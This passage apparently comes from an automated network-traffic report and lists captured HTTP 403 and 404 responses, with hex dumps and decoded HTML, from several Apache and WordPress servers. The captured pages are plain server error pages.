3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTServer: Apache/2.4.58 (Unix)Content-Length: 196Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:41 GMTServer: ApacheContent-Length: 208Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 61 64 6d 69 6e 2f 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /admin/on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:41 GMTContent-Type: text/html; charset=utf-8Content-Length: 125Connection: keep-aliveServer: ip-10-123-122-234.ec2.internalX-Request-Id: 4ee270f3-d117-4284-a804-0f3e608c95e5Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 27 65 6e 2d 75 73 27 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 2a 2a 20 4e 6f 74 20 46 6f 75 6e 64 20 2a 2a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 48 54 54 50 20 53 74 61 74 75 73 3a 20 34 30 34 20 28 6e 6f 74 20 66 6f 75 6e 64 29 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML><html lang='en-us'><head><title> Not Found </title></head><body>HTTP Status: 404 (not found)</body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:42 GMTServer: ApacheContent-Length: 208Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 61 64 6d 69 6e 2f 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access /admin/on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:43 GMTServer: Apache/2.4.38 (Debian)Content-Length: 275Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 62 75 6e 61 73 74 61 2e 65 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.38 (Debian) Server at bunasta.eu Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:43 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 30 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:46 GMTServer: Apache/2.4.38 (Debian)Content-Length: 275Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 62 75 6e 61 73 74 61 2e 65 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.38 (Debian) Server at bunasta.eu Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:47 GMTServer: Apache/2.4.38 (Debian)Content-Length: 275Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 62 75 6e 61 73 74 61 2e 65 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.38 (Debian) Server at bunasta.eu Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:46 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 64 39 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:46 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.grg17geblergasse.at/wp-json/>; rel="https://api.w.org/"Transfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8Data Raw: 33 30 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 44 45 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 72 67 31 37 67 65 62 6c 65 72 67 61 73 73 65 2e 61 74 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 27 6a 73 27 3b 0a 09 3c 2f 73 63 72 69 70 74 3e 0a 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 47 52 47 31 37 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 6c 65 74 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 5d 2c 6a 51 75 65 72 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 6a 51 75 65 72 79 7d 2c 24 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 65 74 75 72 6e 20 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 2c 24 7d 3b 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 3d 6a 51 75 65 72 79 2c 77 69 6e 64 6f 77 2e 24 3d 6a 51 75 65 72 79 3b 6c 65 74 20 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 31 3b 6a 51 75 65 72 79 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 24 2e 66 6e 3d 6a 51 75 65 72 79 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 7d 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 29 72 65 74 75 72 6e 20 6a 51 75 65 72 79 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 24 3d 77 69 6e 64 6f 77 2e 6a 51 75 65 72 79 2c 63 75 73 74 6f 6d 48 65 61 64 53 63 72 69 70 74 73 3d 21 30 2c 6a 51 75 65 72 79 2e 6e 6f 43 6f 6e 66 6c 69 63 74 7d 2c 6a 51 75 65 72 79 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 6a 71 75 65 72 79 50 61 72 61 6d 73 3d 5b 2e 2e 2e 6a 71 75 65 72 79 50 61 72 61 6d 73 2c 72 5d 7d 2c 24 2e 72 65 61 64 79 3d 66 75 6e 63 74 69 6f 6e 28
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:58 GMTServer: Apache/2.4.38 (Debian)Content-Length: 275Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 62 75 6e 61 73 74 61 2e 65 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.38 (Debian) Server at bunasta.eu Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 26 Nov 2023 05:59:58 GMTServer: Apache/2.4.38 (Debian)Content-Length: 275Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 33 38 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 62 75 6e 61 73 74 61 2e 65 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.38 (Debian) Server at bunasta.eu Port 80</address></body></html>
